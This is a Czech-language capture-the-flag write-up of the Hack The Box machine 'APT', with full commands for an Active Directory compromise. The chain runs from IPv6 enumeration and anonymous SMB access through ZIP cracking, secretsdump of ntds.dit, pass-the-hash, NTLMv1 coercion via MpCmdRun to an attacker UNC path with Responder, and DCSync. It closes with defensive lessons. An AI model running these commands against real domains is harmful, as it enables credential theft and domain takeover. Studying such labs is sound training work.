APT
Úvod a kontext
APT je velmi dobrá ukázka toho, jak nebezpečný je únik doménové zálohy. Samotné IPv4 rozhraní skoro nic neprozrazuje, ale přechod na IPv6 otevře kompletní AD infrastrukturu, anonymní SMB share a nakonec i backup.zip s ntds.dit a SYSTEM. Oba tyto vzorce rozebírám samostatně i v článcích IPv6 jako opomíjená attack surface a Doménové zálohy a offline těžba tajemství.
Didakticky je tenhle stroj cenný hlavně tím, že user i root část stojí na práci s tajemstvími, ne na klasickém exploitu. Nejdřív offline vytěžené hashe otevřou účet henry.vinson_adm, pak vynucená autentizace účtu stroje APT$ dovede řetězec až k DCSync.
Počáteční průzkum
Vyhledání otevřených portů (IPv4)
Nejdřív mapuji veřejně dostupné služby přes IPv4.
Praktický základ takového skenu popisuji i v článku Nmap.
IP=10.10.10.213;ports=$(nmap -p- -Pn --min-rate=1000 -T4 $IP | grep ^[0-9] | cut -d "/" -f 1 | tr "\n" "," | sed s/,$//);echo $ports;nmap -p $ports -A -sC -sV -v -Pn $IP
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
135/tcp open msrpc Microsoft Windows RPC
Zároveň je patrné, že server pracuje i s IPv6 adresami.
Enumerace IPv6 a AD služeb
Přes RPC a vlastní skript vytáhnu IPv6 adresu hostu a provedu nový scan.
python3 server-address.py
Address: apt
Address: 10.10.10.213
Address: dead:beef::b885:d62a:d679:573f
ports=$(nmap -p- -Pn --min-rate=1000 -T4 -6 dead:beef::b885:d62a:d679:573f | grep ^[0-9] | cut -d "/" -f 1 | tr "\n" "," | sed s/,$//);echo $ports;nmap -p $ports -A -sC -sV -v -Pn -6 dead:beef::b885:d62a:d679:573f
53/tcp open domain
88/tcp open kerberos-sec
389/tcp open ldap
445/tcp open microsoft-ds
5985/tcp open http
...
Na IPv6 je vidět kompletní AD infrastruktura. Právě tohle je podstata problému: jiná adresní rovina vrátí úplně jiný bezpečnostní obraz téhož hostu.
Získání backup.zip ze SMB share
V anonymním SMB share backup najdu soubor backup.zip. Praktický kontext práce s podobnými share shrnuji i v článku smbclient.
smbclient -N //dead:beef::b885:d62a:d679:573f/backup
get backup.zip
Heslo k ZIPu získám přes john. Praktickou hodnotu podobných převodníků a cracking workflow rozebírám podrobněji i v článku John the Ripper.
zip2john backup.zip > backup.john
john --wordlist=/usr/share/wordlists/rockyou.txt backup.john
__CENSORED__
7z x backup.zip
Extrakce hashů z AD zálohy
V záloze jsou soubory ntds.dit a SYSTEM, takže jde offline vytáhnout NTLM hashe. Právě tenhle okamžik je popsán obecněji i v článku Doménové zálohy a offline těžba tajemství.
Praktické scénáře pro podobnou práci s toolkitovými utilitami rozebírám i v článku Impacket.
impacket-secretsdump -ntds "Active Directory/ntds.dit" -system registry/SYSTEM -hashes lmhash:nthash LOCAL -outputfile ntlm-extract
Z výpisu identifikuji zajímavé účty (Administrator, henry.vinson, APT$) a pokračuji na henry.vinson.
Přístup k účtu henry.vinson_adm
Zkouším dostupné hashe a přes impacket-reg se dostanu k uloženým údajům aplikace GiganticHostingManagementSystem.
impacket-reg htb.local/henry.vinson@apt.htb.local -hashes :__CENSORED__ query -keyName HKU\\Software\\GiganticHostingManagementSystem
UserName REG_SZ henry.vinson_adm
PassWord REG_SZ __CENSORED__
evil-winrm -i apt.htb.local -u henry.vinson_adm -p __CENSORED__
Získání přístupu
Získání user flagu
User flag zde slouží hlavně jako potvrzení, že už mám běžný uživatelský kontext a mohu pokračovat v lokální analýze systému.
cat user.txt
__CENSORED__
Odchyt NTLMv1 hashe účtu stroje APT$
Pro další eskalaci odchytím autentizaci účtu stroje přes SMB (Responder) a vynutím přístup na UNC cestu.
Praktický kontext k tomu, kdy je Responder jen zachytávací vrstva a ne samotný coercion vektor, shrnuji i v článku Responder.
python2 ./Responder/Responder.py -I tun0 --lm
cmd /C C:\Users\"All Users"\Microsoft\"Windows Defender"\platform\4.18.2010.7-0\X86\MpCmdRun.exe -Scan -ScanType 3 -File \\\\10.10.14.7\\hello\\win.exe
[SMB] NTLMv1 Username : HTB\APT$
[SMB] NTLMv1 Hash : __CENSORED__
NTLMv1 challenge/response cracknu a získám použitelný hash účtu APT$.
DCSync a přístup na Administrator
S hashem účtu stroje provedu dump doménových tajemství a vytáhnu NT hash Administrator. Praktickou roli secretsdump.py v podobných scénářích rozebírám i v článku Impacket pro relay, tajemství a delegovaná práva. Z pohledu Active Directory je to zároveň varianta problému, který shrnuji i v textu Delegovaná práva v AD: DCSync, gMSA, relay, deleted objects.
impacket-secretsdump -hashes __CENSORED__:__CENSORED__ 'apt.htb/APT$@apt.htb.local'
Administrator:500:__CENSORED__:__CENSORED__:::
...
evil-winrm -i apt.htb.local -u Administrator -H __CENSORED__
Eskalace oprávnění
Získání root flagu
Tento krok ukazuje, jak se nalezená slabina nebo chyba v delegaci oprávnění mění v privilegovaný přístup.
cat root.txt
__CENSORED__
Shrnutí klíčových poznatků
- Rozhodující nebyl úvodní scan po IPv4, ale přechod na IPv6, kde se teprve ukázala plná doménová attack surface.
- User část stojí na tom, že z
backup.zipneuniknou jen data, ale přímo hashe a následně i uložené přihlašovací údajehenry.vinson_adm. - Root je výsledkem práce s účtem stroje
APT$: odchyt NTLMv1, crack a následný DCSync otevřou cestu k hashiAdministrator.
Co si odnést do praxe
- IPv6 v interních prostředích nesmí zůstat mimo inventuru a monitoring. Pokud obrana hlídá jen IPv4, útočník může vidět úplně jiný obraz infrastruktury než administrátor.
- Zálohy typu
backup.zip, exporty registru a souboryntds.ditje nutné chránit jako produkční doménová tajemství. Jakmile uniknou, většina dalších obranných vrstev přestává mít význam. - Účty strojů, NTLMv1 a práva pro DCSync jsou stále kritické prvky AD bezpečnosti. Pokud je lze zneužít nebo cracknout offline, doménový admin je obvykle už jen otázka dalších minut.
Další související články
HTB Stroje
Techniky
- Dokumentová metadata jako vstup do domény
- Konfigurace síťových zařízení jako zdroj reuse hesel
- Kerberos útoky z nulového přístupu: AS-REP roast a práce s kandidátními uživateli